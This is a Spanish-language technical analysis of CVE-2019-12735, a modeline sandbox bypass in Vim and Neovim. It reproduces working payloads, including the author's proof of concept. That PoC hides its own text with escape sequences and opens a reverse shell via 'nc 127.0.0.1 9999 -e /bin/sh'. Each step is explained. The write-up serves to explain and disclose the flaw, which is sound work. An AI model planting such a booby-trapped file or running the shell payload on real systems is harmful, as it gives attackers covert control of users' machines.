
Análisis técnico detallado y prueba de concepto para CVE-2019-12735, una vulnerabilidad de ejecución arbitraria de código en Vim/Neovim mediante la omisión del sandbox de modeline, incluida la explotación de shell inversa.
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
Vim en versiones anteriores a 8.1.1365 y Neovim en versiones anteriores a 0.3.6 tienen una vulnerabilidad que permite ejecutar código arbitrario fácilmente a través de modeline al abrir un archivo de texto que contiene contenido especial.
Modeline es una característica habilitada por defecto, que se aplica a todos los tipos de archivo, incluidos los archivos .txt, para buscar y aplicar/ejecutar automáticamente un conjunto de opciones mencionadas por el creador del archivo al principio y al final del mismo. A continuación se muestra una línea de modeline típica:
/* vim: set textwidth=80 tabstop=8: */
Para aumentar la seguridad, solo se permite aplicar/ejecutar un subconjunto de opciones en los modelines, y si el valor de la opción contiene una expresión, se ejecutará en el sandbox:
No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines). And not all options
can be set. For some options a flag is set, so that when it's used the
|sandbox| is effective.
El sandbox ayuda a prevenir efectos secundarios:
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox. This means that you are
protected from these expressions having nasty side effects. This gives some
safety for when these options are set from a modeline.
Sin embargo, el comando :source! (con [!] al final) se puede utilizar para eludir el sandbox. Fuerza a vim a leer y ejecutar los comandos de un archivo determinado como si se hubieran escrito manualmente en vim, ejecutándolos después de salir del sandbox. Esto es precisamente lo que crea la vulnerabilidad que permite la ejecución arbitraria de código a través de vim.
:so[urce]! {file} Read Vim commands from {file}. These are commands
that are executed from Normal mode, like you type
them.
A partir de la vulnerabilidad anterior, se puede construir un modeline para ejecutar código fuera del sandbox:
# vim: set foldexpr=execute('\:source! some_file'):
También se puede utilizar assert_fails() como alternativa a execute():
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
Run {cmd} and add an error message to |v:errors| if it does
NOT produce an error.
Añadiendo el carácter % después de source! para ejecutar el archivo actual, el ejemplo siguiente ejecutará uname -a || "(garbage)" como comando de shell:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Además, la función nvim_input() solo se usa para explotar la vulnerabilidad en Neovim y se utiliza como en el siguiente ejemplo:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
El autor ha proporcionado un PoC que permite crear una reverse shell, utilizando el carácter Esc para ocultar el contenido cuando el lector abre el archivo escribiendo contenido nuevo en él.
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
Lo anterior es un PoC del autor; sin embargo, para que sea más fácil de entender para el lector, omitiremos algunas partes del PoC anterior, quedando así:
\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
Al abrir vim, la función modeline revisa el principio y el final del archivo para buscar la instrucción modeline (aquí: 'vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ |\ source!\ %') fdl=0:'). Una vez encontrada, ejecuta la instrucción. Según el funcionamiento de modeline explicado anteriormente, el comando source! % ejecutará el archivo actual como si escribiéramos el contenido de ese archivo manualmente en vim.
Primero ejecutará la cadena "\x1bSNothing here.\x1b:silent! w ". Si has usado vim, seguramente conocerás el modo command en vim; para entrar en este modo, solo hay que pulsar la tecla Esc, cuyo valor es 0x1b, por eso al principio del PoC anterior hay un 0x1b para entrar en el modo command de vim.
Una vez en el modo command, si pulsamos la tecla S, el contenido de la línea donde se encuentra el cursor se borra de inmediato y nos devuelve al modo insert, por eso el siguiente carácter es S para borrar el contenido del archivo PoC y crear contenido nuevo.
En ese momento, el texto "Nothing here." se inserta en el archivo; luego viene el carácter Esc para volver al modo command y la secuencia de comandos :silent! w para escribir el texto nuevo ("Nothing here.") en el archivo sin mostrar ningún mensaje en pantalla.
Después de escribir el archivo, continúa ejecutando el comando call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') y los comandos posteriores para hacer la reverse shell. El último comando - silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n, en este punto, después de silent! hay un #, lo que hace que vim lo interprete como un comentario y no lo ejecute.
Así, cuando el usuario abre el PoC anterior con vim/neovim, el atacante obtendrá la shell del usuario sin que este se dé cuenta, porque en el lado del usuario solo aparece la línea de texto "Nothing here." que acaba de escribirse mediante la función modeline.